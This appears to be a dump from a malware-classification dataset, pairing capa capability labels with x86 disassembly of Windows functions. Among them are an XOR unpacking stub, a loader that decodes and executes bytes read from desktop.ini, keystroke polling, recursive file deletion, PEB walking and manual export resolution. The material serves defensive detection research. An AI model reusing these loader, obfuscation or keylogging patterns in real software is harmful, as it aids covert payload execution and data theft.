joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cdd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000cdfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000cdfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x7330600f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2abc53fd
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
invalid
jno 0x41538d
int 0x61
or al, 0x7a
clc
jmp 0xfe47d94b
outsb dx, byte [esi]
jno 0x4153c7
mov dword [0x2460183e], eax
cmp edi, ecx
imul esi, dword [ebp + 0xf01bb29], 0xd95b10cd
lds eax, [edi]
push ecx
lea edi, [edi - 0x7d6500bb]
clc
xor dword [esi], esp
cmp eax, dword [edx + 5]
push ebp
js 0x4153fe
mov ecx, 0x1b94b25
lea ebp, [ebx + 7]
invalid
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0xa88000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0xa8800a
jmp 0xa8a00f
jmp fcn.00829058
Function at 0x4142a8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x4142ef
cmp ebx, 0x20
je 0x4142ef
cmp ebx, 0xffffffe0
je 0x4142ef
jne 0x4142f8
add eax, 1
cmp esi, eax
je 0x414305
jne 0x4142d4
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x414309
jne 0x4142d0
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x41431d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x414362
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x414368
add eax, 4
pop esi
dec esi
push esi
jne 0x41434a
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x43bd10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4dd060
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.004d259c
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.00440b10
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x43bd64
jmp dword [ecx*4 + 0x43becc]
mov al, byte [esi]
test al, al
je 0x43bd92
cmp al, 0x20
je 0x43bd7e
cmp al, 0xa1
jne 0x43bd92
cmp byte [esi + 1], al
jne 0x43bd92
test al, 0x80
je 0x43bd8a
mov al, byte [esi + 1]
inc esi
test al, al
je 0x43bd92
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x43bd71
test ecx, ecx
je case.default.0x43bd64
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x43bd64
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x43bdd8
cmp dl, 0xa1
jne 0x43bdcc
cmp byte [eax + 1], 0xa1
jne 0x43bdcc
test ecx, ecx
jne 0x43bdc4
mov edi, eax
mov ecx, 1
inc eax
jmp 0x43bdec
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x43be06
jmp 0x43bdec
cmp dl, 0x20
jne 0x43bdea
test ecx, ecx
jne 0x43bde3
mov edi, eax
mov ecx, 1
jmp 0x43bdec
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x43bdac
cmp ecx, 1
jne case.default.0x43bd64
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x43bd64
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x43bd64
mov al, byte [esi]
test al, al
je 0x43be5e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x43be44
mov cl, byte [esi + 1]
test cl, cl
je 0x43be5e
cmp al, 0xa1
jne 0x43be34
cmp cl, al
je 0x43be41
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.00440de0
inc esi
jmp 0x43be56
cmp al, 0x20
je 0x43be56
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.00440e20
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x43be1d
push 0
lea ecx, [esp + 0x14]
call fcn.00440e20
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0044a5c0
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x43be91
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x666590
call fcn.00440d10
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.004d252e
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x43cd50
Capabilities:
Get disk size

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, 0x790108
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x34]
push ecx
call fcn.0043cd10
add esp, 8
mov byte [esp + 8], al
or esi, 0xffffffff
push str.GetDiskFreeSpaceExA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43cdfa
lea edx, [esp + 0xc]
lea ecx, [esp + 0x1c]
push edx
push ecx
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
push ecx
call eax
test eax, eax
je 0x43ce5b
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x43cddc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
jmp 0x43cde4
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, 0xa
call fcn.004b9d60
mov edx, dword [esp + 0x28]
pop edi
pop esi
mov dword [edx], eax
add esp, 0x1c
ret
lea eax, [esp + 0x30]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x43ce4f
mov eax, dword [esp + 0x34]
test eax, eax
mov eax, dword [esp + 0x30]
je 0x43ce2d
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
push 0x400
imul edx, dword [esp + 0x20]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov ecx, dword [esp + 0x28]
pop edi
pop esi
mov dword [ecx], eax
add esp, 0x1c
ret
mov edx, dword [esp + 0x28]
pop edi
mov dword [edx], esi
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], esi
pop esi
add esp, 0x1c
ret
Function at 0x43df60
Capabilities:
Access peb ldr_data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4dd1b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x7a7d50]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
lea ecx, [esp + 0x2c]
push esi
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push edi
mov dword [esp + 0x30], 0
call fcn.0043da30
add esp, 0x14
dec esi
neg esi
sbb esi, esi
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x24]
add esi, 3
lea edx, [esp + 0x30]
lea ecx, [esi + esi*2]
push edx
push 0x20006
push 0
lea esi, [edi + ecx*4]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x43e002
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x30]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x43e0bb
mov edx, dword [esi + 8]
push edx
call fcn.00449180
add esp, 4
test eax, eax
mov eax, dword [esi + 8]
je 0x43e052
cmp eax, 0x80000301
jne 0x43e020
mov eax, dword [esi]
jmp 0x43e02d
push 0
push esi
push 0x7d1
call fcn.0044ea10
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push 4
push ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x43e0b0
jmp 0x43e0aa
cmp eax, 0x80000004
jne 0x43e081
mov esi, dword [esi]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x30]
not ecx
push ecx
mov ecx, dword [esp + 0x30]
push esi
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x43e0b0
jmp 0x43e0aa
cmp eax, reloc.WS2_32.dll_getpeername
jne 0x43e0b0
mov esi, dword [esi]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esi + 4]
add esi, 8
push eax
push esi
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x43e0b0
mov dword [ebx], 1
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.004d252e
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x444b70
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4dd55b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004d22a3
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x444bf2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d0193
mov eax, dword [eax]
push 0x793bd8
push eax
call fcn.004b91a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004d252e
test bl, bl
je 0x444bf2
push 0x793bd8
lea ecx, [esp + 0xc]
call fcn.004d28be
push 0x793be4
lea ecx, [esp + 0xc]
call fcn.004d28be
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x444c2e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004d252e
jmp 0x444cf9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x444cb2
lea edx, [esp + 0x7c]
push 0x793be0
push edx
call fcn.004b91a4
add esp, 8
test eax, eax
je 0x444cb2
lea eax, [esp + 0x7c]
push 0x793bdc
push eax
call fcn.004b91a4
add esp, 8
test eax, eax
je 0x444cb2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x444c42
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004d252e
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4454f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x445552
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x445560
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4dd5db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x7a7d50]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x445698
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4455c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d252e
xor eax, eax
jmp 0x44570f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004d266b
push esi
lea ecx, [esp + 0xc]
call fcn.004d28fa
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4456ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.004454f0
test eax, eax
jne 0x4456ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004454f0
test eax, eax
jne 0x4456ed
lea eax, [esp + 0x14]
push 0x793bf4
push eax
call fcn.004ba873
mov esi, eax
add esp, 8
test esi, esi
jne 0x4456cc
lea ecx, [esp + 0x14]
push 0x793bf0
push ecx
call fcn.004ba610
mov esi, eax
add esp, 8
test esi, esi
jne 0x4456cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4456cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004d261b
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4455de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d252e
xor eax, eax
jmp 0x44570f
mov byte [esi], 0
push 0x793bec
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004d252e
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4565e0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x45664e
cmp si, 0x69
ja 0x45664e
add esi, 0xffd0
cmp si, 0x11
je 0x45661e
push 0x11
call edi
test ax, ax
jge 0x45661e
or esi, 0x2000
cmp si, 0x10
je 0x456633
push 0x10
call edi
test ax, ax
jge 0x456633
or esi, 0x4000
cmp si, 0x12
je 0x456648
push 0x12
call edi
test ax, ax
jge 0x456648
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x45665b
mov esi, 0xbd
jmp 0x45660f
cmp si, 0x6e
jne 0x456668
mov esi, 0xbe
jmp 0x45660f
cmp si, 0x6f
jne 0x456609
mov esi, 0xbf
jmp 0x45660f

Function at 0x457ba0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4de261
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push ebp
mov ebp, dword [esp + 0x160]
push esi
push edi
push 0xffffffffffffffff
push 0
mov ecx, ebp
call fcn.004d1790
mov esi, dword [esp + 0x16c]
push 0xffffffffffffffff
push 0
mov ecx, esi
call fcn.004d15e4
mov eax, dword [esp + 0x170]
lea ecx, [esp + 0xc]
push eax
call fcn.004d259c
lea ecx, [esp + 0xc]
push 0x7946c0
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x16c], 0
call fcn.004d2777
mov eax, dword [eax]
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.004d252e
test edi, edi
je 0x457cee
mov edx, dword [0x7a7d50]
mov dword [esp + 0x10], edx
cmp edi, 0xffffffff
mov byte [esp + 0x160], 1
je 0x457cdd
cmp byte [esp + 0x44], 0x2e
je 0x457cc2
lea eax, [esp + 0xc]
push 0x7946bc
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.004d2777
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x164], 2
call fcn.004d261b
lea ecx, [esp + 0x14]
mov byte [esp + 0x160], 1
call fcn.004d252e
lea edx, [esp + 0x44]
lea ecx, [esp + 0x10]
push edx
call fcn.004d28be
test byte [esp + 0x18], 0x10
mov eax, dword [esi + 8]
je 0x457ca8
push 1
jmp 0x457caa
push 0
push eax
mov ecx, esi
call fcn.004d1a82
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x10]
push ecx
push eax
mov ecx, ebp
call fcn.004d1905
lea edx, [esp + 0x18]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x457c4e
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x10]
mov byte [esp + 0x160], 0
call fcn.004d252e
lea ecx, [esp + 0xc]
mov dword [esp + 0x160], 0xffffffff
call fcn.004d252e
mov ecx, dword [esp + 0x158]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x158
ret
Function at 0x457d20
Capabilities:
Delete directory
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x4de280
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
lea ecx, [esp + 8]
call fcn.004d16fd
xor esi, esi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], esi
call fcn.004d19f6
mov eax, dword [esp + 0x40]
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0xc]
push ecx
push edx
mov byte [esp + 0x44], 1
call fcn.00457ba0
mov eax, dword [esp + 0x1c]
add esp, 0xc
cmp eax, esi
mov ebx, eax
jle 0x457dbd
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov eax, dword [esp + 0x28]
cmp dword [eax + esi*4], 0
je 0x457dac
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + esi*4]
push eax
call fcn.00457d20
mov edx, dword [esp + 0x18]
add esp, 4
mov eax, dword [edx + esi*4]
push eax
call edi
jmp 0x457db6
mov eax, dword [esp + 0x14]
mov eax, dword [eax + esi*4]
push eax
call ebp
inc esi
cmp esi, ebx
jl 0x457d86
pop edi
pop ebp
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 0
call fcn.004d1a29
lea ecx, [esp + 8]
mov dword [esp + 0x38], 0xffffffff
call fcn.004d1730
mov ecx, dword [esp + 0x30]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret

Function at 0x457df0
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp byte [esi], 0x20
jne 0x457e02
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
je 0x457dfa
cmp byte [esi], 0
je 0x457e31
cmp byte [esi + 1], 0x3a
jne 0x457e1f
mov al, byte [esi + 2]
test al, al
je 0x457e31
cmp al, 0x5c
jne 0x457e1f
mov al, byte [esi + 3]
test al, al
je 0x457e31
push esi
call fcn.00457d20
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x458250
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7b6ff0]
xor edx, edx
cmp eax, edx
jne 0x458276
xor eax, eax
mov byte [eax + 0x7b6ef0], al
inc eax
cmp eax, 0x100
jl 0x45825e
mov dword [0x7b6ff0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7b6ef0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x458307
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4582da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4582a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret